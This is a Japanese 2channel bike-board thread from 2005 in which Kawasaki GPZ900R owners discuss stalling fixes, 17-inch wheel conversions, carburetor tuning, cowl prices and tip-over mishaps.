05/10/11 17:42:32 HILDT5WM
■過去ログ
【希少】GPZ900R/750R Part A13【イエロー】
ｽﾚﾘﾝｸ(bike板)
【やっぱり】GPZ900R/750R Part A12【ニンジャ】
ｽﾚﾘﾝｸ(bike板)
【そろそろ】GPZ900R/750R Part A11【冬眠】
ｽﾚﾘﾝｸ(bike板)
【カスタム?】GPZ900R/750R Part A10【ノーマル?】
ｽﾚﾘﾝｸ(bike板)
【ニンジャ】GPZ900R/750R Part A9【20周年】
ｽﾚﾘﾝｸ(bike板)
【いつまでも】GPZ900R/750R Part A8【乗り続ける】
ｽﾚﾘﾝｸ(bike板)l50
【生誕】GPZ900R/750R Part A7【20周年】
ｽﾚﾘﾝｸ(bike板)
3:７７４ＲＲ
05/10/11 17:43:17 HILDT5WM
■過去ログその2
【永遠の】GPZ900R/750Rニンジャ Part-A6【名車】
ｽﾚﾘﾝｸ(bike板)
【永遠の】GPZ900R/750Rニンジャ Part-A5【名車】
ｽﾚﾘﾝｸ(bike板)
永遠の名車-GPZ900R-A4
ｽﾚﾘﾝｸ(bike板)
【ニンジャ】-Kawasaki- GPZ900R -Part A3 ■▼▲
URLﾘﾝｸ(hobby2.2ch.net)
▲▼▲-Kawasaki- GPZ900R -Part A2▲▼▲
ｽﾚﾘﾝｸ(bike板)
-Kawasaki- GPZ900R
ｽﾚﾘﾝｸ(bike板)
4:７７４ＲＲ
05/10/11 17:43:57 HILDT5WM
■関連スレ
☆☆☆ GPZ900Rってどうよ？ ☆☆☆
URLﾘﾝｸ(ton.2ch.net)
★★★GPZ900Rってどうよ？ Part2★★★
URLﾘﾝｸ(ton.2ch.net)
忍者について
URLﾘﾝｸ(ton.2ch.net)
★★★★★GPZ900R改造スレ★★★★★
URLﾘﾝｸ(ton.2ch.net)
「トップガンにも出てくるＧＰＺ９００Ｒ」
URLﾘﾝｸ(ton.2ch.net)
●●たまにはニンジャを語ろう●●
URLﾘﾝｸ(www.2ch.net)
5:７７４ＲＲ
05/10/11 18:39:15 1GVYEgP2
>>1
乙！
そして、マカダム100Xのリアサイズが…orz
6:７７４ＲＲ
05/10/11 18:54:44 IoI8ga3j
>>1
乙！
>>5
信じない！信じないぞー！！
(∩ ﾟдﾟ)アーアーきこえなーい
7:７７４ＲＲ
05/10/12 08:31:14 wHsCAdFc
>>1 乙。
ささ、前スレ埋めようか。
8:(≠´∀`ョ) ◆XXZOJFA9.s
05/10/12 09:33:54 MvZL0OaC
>>１乙ﾉｼ
9:７７４ＲＲ
05/10/12 20:47:34 Hxj1glS4
9www
10:７７４ＲＲ
05/10/12 22:54:54 g5+3xsGF
揚げてもイイ？
11:７７４ＲＲ
05/10/13 02:16:25 ryc/xERH
ZX-10のメーターASSYをA10国内に付けてる。
裏側のケースとスピードリミッターを移植して逆者のステーを使えばOK。
メリット：ハッタリ？
デメリット：下道マターリや峠を流す程度だと役に立たない。
レブリミッターが利かないみたい。（２速１３０００弱まで回したことあり。）
12:７７４ＲＲ
05/10/13 05:14:47 gmf89qYg
俺は逆車にＺＸ１０メーター付けてたよ
ＺＺＲ１１００は配線の入れ替えがめんどくさそうだったんで
13:７７４ＲＲ
05/10/13 07:30:07 quDAXi+A
前スレ990-991&>>11-12
サンクス
14:７７４ＲＲ
05/10/13 08:43:41 q80Sz6Hq
最近、イグニッションＯＮでライトが点灯するようになりました。
別に不具合っていうほどのモノじゃないから放置ですが、常時点灯式ライトは年月たつと
みなこんな症状でんのかな？
配線図持ってないから、どんな回路かわからんorz
15:７７４ＲＲ
05/10/13 09:31:36 +AdXgbdf
連休中に東京から九州へ行ってきたよ。
トラブル発生(;_;)。
そろそろ４万キロの車体(A7)。
エンジンのメンテといえば
年に一回から二回のエンジンオイル交換と
１万キロごとのプラグ交換とエアクリーナーエレメントの交換。
高速道路で120km程度の流れに乗っていて
行きに一回、帰りに一回エンジン不調により停止。
４気筒の内、１気筒か２気筒が駄目になった感じ。
完全にエンジン停止して路肩で
セルを回すと何事も無かったように安定してアイドリングして復活するのだが
何が原因か悩んだ。
最近交換した社外のプラグコード？
無事帰ってきたが今後も起きると思われ。
キャブとも思えないし…。
コイルかなぁ。でもこんなの滅多に壊れないよなぁ。
レギュレターかなぁという気もする。
16:７７４ＲＲ
05/10/13 10:41:27 dlgVUloF
>>15
電装系（プラグ）なのか燃料系（キャブ）なのか分ける必要ありかな？
俺の場合はプラグホールにオイルが溜まってリーク、そんで点火不良が１回。
別のではイグナイタが温まると点火不良になりミスファイアの連続…
プラグコード交換したのなら、プラグキャップ周りを中心にもう一度総点検（外してチェック）かな？
キャブ系ならジェットの詰まりとか一般的なチェックからかと。
まさかと思うけど、ガソリンタンクやコックも含めて燃料がどこかで詰まっているとか…
17:15
05/10/13 11:07:56 +AdXgbdf
>>16
レスさんくすです。
原因を分けて考えなくちゃですよね。
そうなんですよ自分も
最初に東名で失速したときはちょうど菊川で降りられたのでタンク外して
プラグホールのオイル溜まりを点検しちゃいました。これって忍者の持病っすよね(笑)。
平気だったんでコイルからプラグの配線をチッェクしたのですが原因分からず。。
その後掛川まで走って高速に乗り直しました。
もしかしたら燃料系かなぁ。
タンク内も若干、錆があるしなぁ。
錆の粉でキャブを駄目にすることありますよね。
なんせ再現性が無いから良くわからんとです。
これを機会にエンジン周りをメンテしようかと思った。
18:７７４ＲＲ
05/10/13 13:04:29 jNH1JjVK
>15
俺は同様の症例で
紆余曲折の末、結局タンクキャップ交換で治りました。
交換前にエアガンで何回か吹いたけど
なんか根本的にダメだったみたい＞キャップ
参考までに♪
19:７７４ＲＲ
05/10/13 14:20:23 h+i3kjMk
とりあえず､電装はイグナイターが壊れるパターンは時々聞く｡コイルも聞く｡
プラグキャップ､プラグコードも｡レギュはあんま聞かない｡
んで高速でしか症状がでないなら燃料系の可能性が高いと思う､
タンク､コック､タンクキャップ､ホースの掃除をまずしてみてはどうか｡
んでキャブ｡
20:７７４ＲＲ
05/10/13 18:39:03 up0XQqSs
調子よく走る → 調子が崩れる、エンジン停まる → 暫く放置 → 調子よく走る
このパターンだと、フィルターのつまりジャマイカ？
もしくは>>18のガソリンタンクにエアが入らなくなった。
点火系なら調子が崩れたら崩れっ放しになる場合のが多いし。
21:７７４ＲＲ
05/10/13 22:20:05 5PcP3Rqx
>>15
私も高速で同じような症状になりバイク屋に相談したら
タンクキャップ交換といわれました。
皆さんも書いているように持病なのですかね。
22:７７４ＲＲ
05/10/13 22:39:49 6N1jE7Hk
>>21
持病というより単なるメンテ不足でないの。
古い車体が多いし、中古で二順三順してるんでそこまで気が回らない気がする。
ちなみにオレは忍者乗って18年で3台目だが、今のA14は初新車だった。
当時はZZR1100D6に乗っていたが、乗り換え理由はガス検が課せられない最後の忍者だったから。
人気も下火で激安だった。（込み込みで90万弱、ZZR下取りで追金20万位だったから）
だって、気軽にマフラーの交換できない忍者なんて．．．ねぇ。
23:７７４ＲＲ
05/10/13 22:49:31 h+i3kjMk
ガス検通るけどな｡FEのノーマルマフラーも触媒付いてないし｡
24:７７４ＲＲ
05/10/13 22:54:17 hYQEYukQ
>>22の2行目までの内容と3行目以下の内容との関係を知りたい。
25:22
05/10/14 07:44:20 3xbsRmtt
>ちなみにオレは忍者乗って18年で3台目だが、今のA14は初新車だった。
それ以前の2台は中古で消耗したパーツによる色々なトラブルを経験したがさすがに新車では無かったし。
>当時はZZR1100D6に乗っていたが、乗り換え理由はガス検が課せられない最後の忍者だったから。
↑これでいいかい？
26:７７４ＲＲ
05/10/14 09:23:12 +QBDLaDB
>>25
更に詳しく
27:15
05/10/14 10:04:41 XYI7LcNK
>>16
>>18-21
アドバイスありがとうございます。
タンクキャップは盲点でした。
やはり燃料送り周りのパーツをリフレッシュしてみまつ。
それで様子見かな。
長く楽しく乗り続けたいからメンテも意識を変えて取り組んでみよっと。
忍者は全国を駆け巡ってきた大切な単車だからなぁ。
28:７７４ＲＲ
05/10/14 16:05:45 S63dwoDw
今まで燃費なんて気にしたことなかったが、昨日ふと計算したら9Km/Lだった。
今乗ってる車より燃費いいな・・・くらいに思ってたら、回りの人たちはもっといいんだね！？
よく待ち乗りで○○㌔／㍑なんてのは聞くけど、峠とか走り回ってるだけだとどんなモン？
29:７７４ＲＲ
05/10/14 17:09:20 jZDWoE74
A7マフラー交換のみ、下道８峠２で１６，７ってとこだな。
30:７７４ＲＲ
05/10/14 21:38:57 zfr3vPlm
燃費気にスンだったら
ニンジャ降りろ！
31:７７４ＲＲ
05/10/14 21:47:41 Ai/9HfM/
FCR入れても13位はいくかなあ｡
32:７７４ＲＲ
05/10/14 22:27:29 /XzzhGpz
ID記念カキコ
33:７７４ＲＲ
05/10/15 00:13:25 Tp/fQEnU
30＞
ニンジャは比較的燃費の良い部類のバイクですよ。
悪いのはセッティングとか何か不具合があるから
34:７７４ＲＲ
05/10/15 10:48:26 WJlh5E1n
皆さん18インチタイヤなくなったらどうします？
バイアスのダンロップＫはまだ生産され続けるのでしょうか？
35:７７４ＲＲ
05/10/15 11:16:00 7+zmfzR0
これだけ売れたバイクなんだからなんかあるでしょ。
まぁ、元々がラジアル履くようなバイクでなかったんだしマターリ乗るには
バイアスでも良いような気がする。
でも実は、以前の忍者に履いてた17インチホイールも持ってたりしますけどね。
36:７７４ＲＲ
05/10/15 11:28:51 x/1Q+ytX
>>34
一七ｲﾝﾁ化
ﾂｳかｵﾚのは既に一七
37:７７４ＲＲ
05/10/15 11:37:32 6Sbx4btB
>34
当分は大丈夫だと思うけど、
そうなったら乗り換えろってこったな。
前にもあったけど大金はたいて１７化するなら次のバイク購入資金にあてる。
つか、どっちにしろそんな金無い('A`)
38:７７４ＲＲ
05/10/15 19:07:34 NcAIBX9O
あ、俺も俺も
そんな金ﾅｲ
39:MD22
05/10/15 20:01:00 FzLNCSuJ
>>37-38
同じく。17インチ化する金あったら、先に各ベアリング類などの消耗部品やらメインハーネスやらを交換したいトコです。
ホントにノーマルサイズで履けるタイヤが販売されなくなったら、う～ん、どうしよう…。
買い換える金はないし。
40:７７４ＲＲ
05/10/16 07:38:23 PeVx7Wzp
バイアスタイヤしかないな・・・
41:７７４ＲＲ
05/10/16 11:20:09 e88m2PT0
ベアリングやシール、その他消耗品を変えてかつ17化するんだよｗ
いいじゃねえか１７でも１８でも。
両方乗ったが両方良さがあるぞ。
よくできた１７はとても楽しい。
42:７７４ＲＲ
05/10/16 12:29:11 16ztJGDy
まぁ、やってみないとわからない部分も多いし、簡単にはお勧めできないが
「よくできた17インチはとても楽しい」にはﾊｹﾞﾄﾞｰ。
それに自分できちんと調べたり、オク活用したり、整備したりできる人なら
思ったよりも17インチ化はお金が掛からない、という事実も。
17インチ化・車高調リンクで補正・フロントフォーク突き出し変更
これだけで劇的に乗り味変わる。
43:７７４ＲＲ
05/10/16 13:56:09 WMJsUOYJ
せっかくのバイクシーズンも関東・東海は毎週末こんな天気じゃ台無しじゃあ!!!!!!!!!!!
10月一度も乗れなかったら気象庁に怒鳴り込んでやる!!!!!!
44:７７４ＲＲ
05/10/16 13:59:59 fRSz5FsI
気象庁じゃらちがあかねーべ、雲の上の長さん雷様に言ってくれよw
45:７７４ＲＲ
05/10/16 14:08:18 WMJsUOYJ
↑天気悪いのだけはやりきれねえなあ・・・
このまま11月になっちまうのかよ・・・
46:７７４ＲＲ
05/10/16 14:10:18 LD2UjSzm
11月になっちゃったら早朝の峠とかちょっと恐いよね(´･д･`) ﾔﾀﾞ
47:７７４ＲＲ
05/10/16 15:10:51 eCTL53c+
安上がりではあるが車高調リンクはお勧めしません。
48:７７４ＲＲ
05/10/16 16:14:51 e88m2PT0
私も車高調整リンクは絶対に勧めない。
厳しいようだが42は「よく出来た１７Ｎｉｎｊａ」を知らないと見た。
>17インチ化・車高調リンクで補正・フロントフォーク突き出し変更
これだけではよくできた１７にはならない。
49:７７４ＲＲ
05/10/16 16:31:44 ahfOGEqT
ウイリーの１７インチ用リンクと軽いホイールが欲しい・・・
リム幅に不満は無いし安かったがZZR400Kのホイールって結構重い。
50:７７４ＲＲ
05/10/16 18:30:51 Eo1aZuq/
ウィリーのリンクってどういった効果があんの？？
51:７７４ＲＲ
05/10/16 18:42:06 dOUAvlBF
>>50
効果はしらんが仲間が付けた。
車高が下がったと嘆いていた。
リヤショックの取り付けが前方によって
ショックがスイングアームに干渉しづらくなるらしい。
52:７７４ＲＲ
05/10/16 19:11:17 kpZXcRSL
>49
ｾﾞﾌｧ1100のﾎｲｰﾙもｶﾅｰﾘ重いぞ…
53:７７４ＲＲ
05/10/16 20:24:09 gnN3iL0J
オーリンズ等の17インチ用入れないとよくできた17インチには
ならない気がする｡走るステージにもよるけど｡
54:７７４ＲＲ
05/10/16 20:48:28 e0F2wqil
大変だな
55:７７４ＲＲ
05/10/16 21:31:49 2L6eGx4K
大変そう・・・。
俺はバイアスのＦ１７、Ｒ１８でいいやー。
速く走ろうなんて思わないし。。。
56:MD22
05/10/17 00:09:25 7vu4NM/o
17インチ化も車高調リンク+エキセン逆付けで良しではなく、きっちりやろうとすると、費用的にも結構掛かりますよね。
太いリアタイヤは見た目かっこいいと思うけど、俺のヘタレ走りではただの盆栽化に過ぎないです。前16の後18のバイアスでも十分かな、と。
何よりセンタースタンド外したくないですし。
57:７７４ＲＲ
05/10/17 00:18:09 GbNewkne
リア１８の方がニンジャってかんじするしねー。所詮旧車？それなりで私は良いです。みんな頑張ってくれ！！
58:７７４ＲＲ
05/10/17 01:07:00 EhWMp4vg
17インチ化＋エキセン逆付けだけでノーマルより車高が上がったのだが、それってやっぱり変？
上がった気がするじゃなくて確実に上がったの。もちろんちょっぴりだけど。
59:７７４ＲＲ
05/10/17 08:05:18 57q1kMQG
FCRｷｬﾌﾞなみの大変さだな
60:７７４ＲＲ
05/10/17 08:31:02 GwxI8OSv
>>58
チェーンスラーダー？名前は良く知らんが、スイングアームピボットのトコが
どんどん削れていくでしょ・・・？
１７インチ化→エキセン逆で当たりが強くなる→スプロケ歯数減らす→さらに当たりがキツクナル！→さらに磨耗
61:７７４ＲＲ
05/10/17 17:44:52 eFSsMKQk
>>60
＞チェーンスラーダー？名前は良く知らんが、スイングアームピボットのトコが
＞どんどん削れていくでしょ・・・？
ちょび～～っとしか車高上がってないから自分の場合はそれはないな。
ZZR1100のサスに替えたりとか、思いっきりケツ上げにすると必要だね。
62:７７４ＲＲ
05/10/17 18:53:58 XxjtGJx3
何のためにケツ上げするか、ですな。
ルックスのためならまあ、頑張ってというしかない。
走りのためなら、スライダーが穴空くまで上げちゃったらそれは上げすぎ。
・・・だと思います。
63:７７４ＲＲ
05/10/17 18:59:12 uoJyVLsu
1７ｲﾝﾁ否定派は
何だかんだ言っても
貧乏なだけじゃんｗ
64:７７４ＲＲ
05/10/17 19:12:21 57q1kMQG
今日Ａ６にZX-10のｽﾋﾟｰﾄﾞﾒｰﾀｰだけポン酢けしてみた。
見にくい。ﾀｺﾒｰﾀｰの針との距離がありすぎるような・・・。ﾄﾘｯﾌﾟﾒｰﾀｰもﾘｾｯﾄ状態のまま動かんし
あしたもう一回考えて付け直してみるか
65:MD22
05/10/17 19:20:54 7vu4NM/o
>>63
俺の場合は全くもってその通りです。(w
もし金あって、センタースタンドも併用できるなら、17インチ化するかも。
66:７７４ＲＲ
05/10/17 19:38:46 XxjtGJx3
私の場合、オークションを多様しましたが試行錯誤とデータ取りで
それなりにお金と手間と時間が掛かりました。
方向性が決まっててデータが取れてればそりゃ対してコスト掛からないけれど。
世に出てる１７Ｎｉｎｊａ用と言われているパーツ（車高調整もね）で、本当に
使える・必要なものって。。。どれくらいあるやら？
たいてい１７化する人はタイヤ選択を理由に挙げるでしょ。
ということはハイグリップ志向⇒スポーツ走行志向ならば
センスタはいらないよね。
67:７７４ＲＲ
05/10/17 20:39:20 NtSHPKPl
>>62
サーキット走行になってくるとそれぐらい上げなきゃいかんくなる｡
68:７７４ＲＲ
05/10/17 22:28:41 aYyq9qfw
>>63
禿胴！ そして、俺もリアは１８インチ・・・。
69:７７４ＲＲ
05/10/17 22:38:52 aYyq9qfw
俺もセンスタが欲しい派！
70:７７４ＲＲ
05/10/17 23:18:18 uSNz6h8u
センスタの必要性・・・？マフラーやホイール買える余裕
あればレーシングスタンドで解決でないの？
71:７７４ＲＲ
05/10/17 23:22:48 57q1kMQG
とりあえず俺は次の金でマフラーを買う
72:７７４ＲＲ
05/10/18 00:11:06 t3P7BzMF
A10糊のﾍﾀﾚな折れにはﾎｲﾙﾉｰﾏﾙでD221で必要充分ﾃﾞﾂ。
73:７７４ＲＲ
05/10/18 00:52:23 yO9znIms
>67
>サーキット走行になってくるとそれぐらい上げなきゃいかんくなる｡
なぜサーキット走行すると、そこまで「ケツ」を上げるの？
この回答でレベルがわかるぜ。
74:７７４ＲＲ
05/10/18 00:53:43 yO9znIms
ゴメン、ちょっと挑発的過ぎた。
でも答えは聞きたいな。
75:７７４ＲＲ
05/10/18 02:26:10 WE+EL3D5
>>73
俺は17インチ化してハイグリップタイヤ履くと
キャスター立てないとうまく向きが変えれない
からです｡あなたのようにレベルは高くないので期待には応えられないです｡
76:７７４ＲＲ
05/10/18 02:51:03 yO9znIms
んーじゃやめとくか。
77:MD22
05/10/18 04:41:26 ky6KLTai
>>70
ロングに出た時とかは途中でチェーンのメンテとかもしたい訳で、そんな時はやっぱりセンタースタンドあった方が便利なのです。
さすがにツーリングの荷物にレーシングスタンドはかさばるし。(w
家で置いとく時とかツーリング先で夜駐めておく時はは必ずセンタースタンドです。そもそも根がものぐさな漏れにレーシングスタンドは向いてなさそうでつ。
それにサーキット走るでもなく、センタースタンドが邪魔になる程倒し込んだ走りする訳でもないですし。
そんな訳で漏れ的にはセンタースタンドは残したいかな、と。
78:７７４ＲＲ
05/10/18 05:37:02 LcsFIau6
センスタ
地震来たら
パタン
79:７７４ＲＲ
05/10/18 10:18:51 oWAoGd9S
俺様のこれからやりたいこと優先度(ちなみにA7)
ステム等のベアリング交換＞リアサスOH＞タイヤ交換＞エンジンOH＞樹脂外装の予備確保＞フレーム再塗装＞リア１７（ついでに前も）
全部やったらやりようによるが１００ﾏｿ近く行きそう。
んで、手をつける予定があるのは３番目まで。
あとは金額的にいってこの古いバイクとどこまでつきあう覚悟があるかによるんだな・・・
そう考えると４番以降にはなかなか手がつけられん。
80:７７４ＲＲ
05/10/18 12:48:39 AMAKwl3+
趣味なんで仕方ないことだけどコストパフォーマンスだけで見れば４番目以降に手を付けるんなら買い換えたほうがいいよね
修理したからって高く売れるわけじゃないしいっそ新車買ったら？
81:７７４ＲＲ
05/10/18 15:28:44 V/KJZW8Y
１００万円じゃ足りないよ。
俺、１８０万円くらいかかってるもの。
82:７７４ＲＲ
05/10/18 17:30:51 b1EX/NF5
最近のデジタルメーターは好かんのよ
でもアナログだったら300km/hくらいまで目盛り欲しいし（出さないけど）
ってことで中古になるのか俺の次のﾊﾞｲｸ
83:７７４ＲＲ
05/10/18 22:34:42 bwDhfZgD
>79
G3乗りだが 樹脂外装の予備確保 以外全部自分でやった。
ｴﾝｼﾞﾝはOHではなくRXへの積換えやけどね。
換えたパーツは売れたから実質１０ﾏｿくらいでできたよん。
84:７７４ＲＲ
05/10/18 23:44:09 yO9znIms
リアサスOHも自分でやったの？
すごいねえ。
85:７７４ＲＲ
05/10/18 23:47:18 WE+EL3D5
>>84
また挑発的だな｡
86:(≠´∀`ｮ) ◆XXZOJFA9.s
05/10/18 23:49:44 8c/5n+rz
なんか年式若い中古(Ａ１３あたりからﾌｧｲﾅﾙまで）の値段が
ちょっとづつ高くなってきてるなぁ。
87:MD22
05/10/19 00:12:08 sAPagVtX
>>86
そのうちZとかCBみたいに忍者もA1とかの初期型が珍重される時代が来るのかな？
G1は…、ないだろうな。(w
88:７７４ＲＲ
05/10/19 01:33:36 mxW0IjsB
最近Ａ1を修理ついでにカスタムしてしまったのはちょっと勿体無かったかなという気ガス
89:(≠´∀`ョ) ◆XXZOJFA9.s
05/10/19 15:29:33 +kJ4pLkN
かたちが変わらずパワーが似たりよったりなので
初期型が珍重とかはなさそうな気がするですよ。
やっぱ色とかじゃない？
黒外装新品一式スペアで欲しいな。。。
90:７７４ＲＲ
05/10/19 15:57:18 421+X9+P
Ａ１５の外装を買うんだ！
91:７７４ＲＲ
05/10/19 21:09:26 UOyyfNC5
外装は復刻版をどっかが造りそうだね｡
92:７７４ＲＲ
05/10/19 23:44:00 qf3dqzhS
>>91
それは間違いない。
すでにカウルなんて社外品でも純正と同じ形のがいっぱいあるしね。
でも高そうだ．．．orz
93:７７４ＲＲ
05/10/19 23:44:58 421+X9+P
色塗るのもめんどくさいし金かかルンバ
94:７７４ＲＲ
05/10/20 02:06:59 K3GH6/Kd
いきなり流れ変えちゃってすいません！しかも過去に散々でてる話題だとは思いますが聞かせてください。
A12の国内に乗ってるのですが、セミフルパワー化したいと考えてます。
２つ穴ダクト、K&Nフィルター、4－1の集合（相当抜けはいいです。）で、カムはノーマルです。
MJは135、ジェットはワッシャー1枚かませてます。
ここからが聞きたいのですが、PJとPSについてです。僕と同じような仕様を考えてる方はどうしてますか？
PJは35？38？PSは何回転ですか？
詳しい方アドバイスください！！
やっぱり実走して合わせるしかないですかね？？
95:７７４ＲＲ
05/10/20 08:26:47 6huOV98C
わかってるじゃないか。実走であわせるんだよ。
96:(≠´∀`ョ) ◆XXZOJFA9.s
05/10/20 10:25:27 3ZMjUUb9
漏れも以前、スレで聞きながら２つ穴ダクト化＆抜け抜け4－1集合に
あわせてのノーマルキャブセッティングしました。
作業の手順のアドバイスについては沢山もらえて助かった。
でも現車で、自分の運転であわすしかないですよ。
走り方や走る場所で変わるから。
97:７７４ＲＲ
05/10/20 12:57:19 1O2oJdPT
>>95>>96
サンクスです。やっぱ実走かぁ。
ありがとう！
98:７７４ＲＲ
05/10/20 20:59:33 LSS7e8fP
ニンジャに乗って２５０００ｋｍ、初めて立ちゴケしたよ～
右のフロントウインカーが砕け散りました。
ギリギリまで踏ん張ったので他の箇所にダメージは無し。
あぁ、体中が痛い・・・
みんな気を付けてね。
99:(≠´∀`ｮ) ◆XXZOJFA9.s
05/10/20 22:09:23 uqOgbIuT
>>98
(≠´Д`ｮ)お大事に…
100:15
05/10/21 11:54:49 RWT6lM/6
>>98
わたすの場合はウインカーがバラバラになりながらカウルにめり込むよう中に入りました。
エポキシ系の接着剤でカウルを直しました。
101:MD22
05/10/21 15:51:31 jH8ySlgA
>>98
(´д`)
ああ、お大事に。
>>100
漏れはプラリペアでくっつけました。しっかりとくっついてるのはいいんですが、微妙に曲がって付いてるです。
(-_-;)
102:７７４ＲＲ
05/10/21 16:43:52 VOKzSE/F
>>98
俺はそうなる前に前後とも社外に替えたが、
見た目はノーマルが一番「らしく」ていいよね。
今日、教習所に行ったら（俺はただの付き添い）、
教官がコケてた。どんな上手い人でもちょっとしたきっかけや気の緩みでコケるもんだな。
103:↑
05/10/21 16:46:03 ejWgV6z9
当たり前
104:(≠´∀`ョ) ◆XXZOJFA9.s
05/10/21 16:50:02 KlokXIUO
たしかカタナ１１００も、こけたらウインカーでズボ抜けるように
カウルが割れる構造だったけどカタナ４００と２５０では
ステーにマウントするように改善されてたね。
今度ぶち割ったらニンジャも三角穴モールドに沿って穴開けて
ウインカーはステー側にマウント出来るように改造しよう・・・
105:７７４ＲＲ
05/10/21 21:32:13 VWiVZHg7
俺はポッシュの安物ウィンカーに換えたよ
カウル割ってからメンドイことするより楽かなーと
106:７７４ＲＲ
05/10/21 23:33:53 5Q2GACEW
>>98
ギリギリまで踏ん張ったって凄くない？
あんな重い物を…
私も立ちゴケにはかなり気を付けてるので、
できればどんな感じでコケたか参考に詳細プリーズ。
107:MD22
05/10/22 01:46:40 gG1vhiG2
>>106
>>98ではないですが、やっぱりコカさん様に踏ん張ると思いますよ。
俺は忍者ではまだないですが、前に乗ってたFJで方向転換しようとして立ちゴケしそうになった時、踏ん張りましたよ。
一瞬気が緩んでグラッと右に傾いて、｢やばい、やらかすっ!!｣と思い、右足と上半身で必死に持ちこたえましたよ。
その何年か後、ロングに出た時にやらかしました。
野反湖辺りの駐車場で方向転換しようとした時に左にグラッと来て、踏ん張ったのですが、山盛り荷物と下が斜面になってたので、抵抗空しくゴロンと…。
斜面の谷側に倒したので起こすのに一苦労、荷物全部外してやっとの思いで起こしましたよ。
幸いにも荷物と自分がクッションになったのと、ギリギリまで踏ん張ったので、カウルダクトにちょっと傷が入った位で済みました。
後は夜中だったので誰も見てなかったのが不幸中の幸いでしたな。
108:７７４ＲＲ
05/10/22 03:16:29 WMy3ANvh
カウルいくらするんでつか？
109:７７４ＲＲ
05/10/22 03:32:19 Yd8eq1Yt
FRPアッパーなら21000円が最安かな｡
110:７７４ＲＲ
05/10/22 03:55:29 WMy3ANvh
純正品ははいくらでつか？
111:７７４ＲＲ
05/10/22 03:59:21 D5y2eCYw
ウインカーは移設して細いナイロンタイラップで固定してウインカーが壊れそうなくらいの
力がかかったら切れるようにしている。
コレでコケてもキズにはなるけど再利用可能なハズ？
112:７７４ＲＲ
05/10/22 03:59:35 Yd8eq1Yt
A16のアッパーカウルASSYで75000円くらいみたい｡つか川崎のサイトで
調べてみそ｡
113:７７４ＲＲ
05/10/22 04:11:51 WMy3ANvh
>>112
ありがとうございまつ 高いでつね(´Д`)
114:７７４ＲＲ
05/10/22 07:07:44 OaZ/JJnU
新品１５０００円のやつヤフオクにあるよ
115:７７４ＲＲ
05/10/22 08:47:35 oNlPNZ8H
↑白無垢だろ？
塗るのにいくらかかるやら．．．
でもウインカー穴なしのはいいね。
116:７７４ＲＲ
05/10/22 19:09:06 tjMVbJnd
キャブセッティング、メインジェット交換とパイロットジェット戻しで行くか、素直にダイノジェットにするか。悩むな～。
117:７７４ＲＲ
05/10/22 21:59:53 OqfRSlmz
素直にＴＭＲでしょう
118:106
05/10/22 22:38:01 bjpP7EkH
>>107
詳細サンクスです。
自分は下敷きになって無傷でした？
私はジァリガレージでいつも出すのにさえ苦労してます。（バックで出す幅しかないので）
あの重さが出出しの遅さや方向転換時のネックですが
走り出したらニンジャの虜です。
なんだかんだと言いながらニンジャ大好きです。
手のかかる子だけど…
119:９８
05/10/22 23:10:54 +NgGqXwz
＞９８の者です
こんなにレスがあるとは思いませんでした。
リクエストもありましたので状況を書かせてもらいますね。
普段はＤトラでさっと乗り越えてる、とある段差があるのですが、
そこを初めてニンジャで通ったのです。
Ｄトラの感覚で乗り越えようとしたところ、フロントは無事に段差を超えたのですが
リアが段差を超えれず、フロントがガバっと右に切れて失速。
やべぇと思った瞬間には立て直せない角度までバイクが倒れました。
とっさに右足を着き、踏ん張ったのですが、ジワジワと重みは増すばかりで
バイクが接地する瞬間までフルパワーで踏ん張るしか出来ませんでした。
大慌てで倒れたスピードより早く恥ずかしパワーでバイクを起こし、
エンジンをかけてその場を立ち去ろうとしたのですが、
倒れた時にシートが外れたのを忘れ、シートの無いバイクに跨る
革ジャン革パンシンプソンの男はさぞかし滑稽だったでしょう。
ちなみにウインカーはタンク横のカウルを止めてる部分に着けていました。
Ｌ字ステ－がＩ字ステ－になりましたｗ
120:７７４ＲＲ
05/10/23 00:49:43 FXW6MJ0q
立ちゴケでこんなに盛り上がるなんてすごいな。
俺なんか猫が急に飛び出してきてにぎりゴケorz
立ちゴケよりひどい・・・
自家補修（？）して直したが、いい勉強になった。
121:MD22
05/10/23 01:27:42 J08ra9d/
>>118
足挟みましたが、振り分けバッグと、ハンマーブーツに並ぶイタイアイテム｢アルパインスターのスーパービクトリー｣のおかげで怪我はなかったです。
下が砂利だと押し引き始めに結構力要りますし、気を使いますよね。
>>119
何故かそういう時って早くその場から消えて無くなりたいのに、いらんオチが付いてきますよね～。
>>120
握りゴケも凹みますよね。
忍者ではまだないですが、というか俺のはそこまでブレーキ効かない様な…。
(^^;
122:７７４ＲＲ
05/10/23 04:19:40 eZ1aWqJo
ボクも夏休みに北海道へ行った時に､羅臼で立ちゴケしました。
ガソリンスタンドへ入ったらもう閉まってて、
足着いて向き変えて出ようと思ったら、
足を着こうと思った所の路面がびみょうに窪んでて、
ふんばり様もきばりようもなくゴロンと倒れました。
あんのじょう、ウインカーがカウルを突き破りました。
またエポキシでくっつけないと…左側ばかり、もう３回目。
123:７７４ＲＲ
05/10/23 11:40:09 6a7srDoM
天気がいいから車検に向けて整備だ。
今回はサイレンサー交換と光軸合わせ位で簡単に済まそう。
今朝、早起きできなかったから走りに逝けない．．．orz
124:７７４ＲＲ
05/10/23 14:37:44 PcvJxJsy
>今回はサイレンサー交換と光軸合わせ位で簡単に済まそう。
前回は他に何をしたんだ？
125:７７４ＲＲ
05/10/23 14:44:40 6a7srDoM
整備完了！
>>124
こんなところでそれは言えません（ｗ
126:７７４ＲＲ
05/10/23 15:35:59 Sggs8eeL
>>125
隠さんでもいいじゃないか
127:７７４ＲＲ
05/10/23 15:46:17 PcvJxJsy
>>125
ｵﾏｴつまらん奴だな
128:118
05/10/23 18:36:03 HPDBWqYu
>>119
詳細感謝です。
立ちゴケの時の気持ちわかります。
私もニンジャ以外で過去二度程経験を。
恥ずかしい時に限ってかっこ良い服だったりしますよね。
>>121
ニンジャの重さでは支える自信がないので、
私もその素晴らしいアイテムを購入しようかと迷います('A`)
129:７７４ＲＲ
05/10/23 20:11:27 IqtyBmoG
何気に革ジャン・革パンなんて気合入った格好の方が
動きにくくて立ちゴケする罠。
130:MD22
05/10/23 23:59:31 J08ra9d/
漏れが一番恥ずかしかった立ちゴケは10年前にロングに出て、秋田のガソリンスタンドで立ちゴケした時ですかねぇ。
スタンドのお姉さんの｢いらっしゃいませ～♪｣と爽やかな笑顔に気が緩んだというか萌えたというか、うっかりバイクも自分もコテンと逝きました。
もうマッハで起こしましたが、アレは恥ずかしかったです。
ついでにラフロのショートレバーが折れるというオマケ付き。
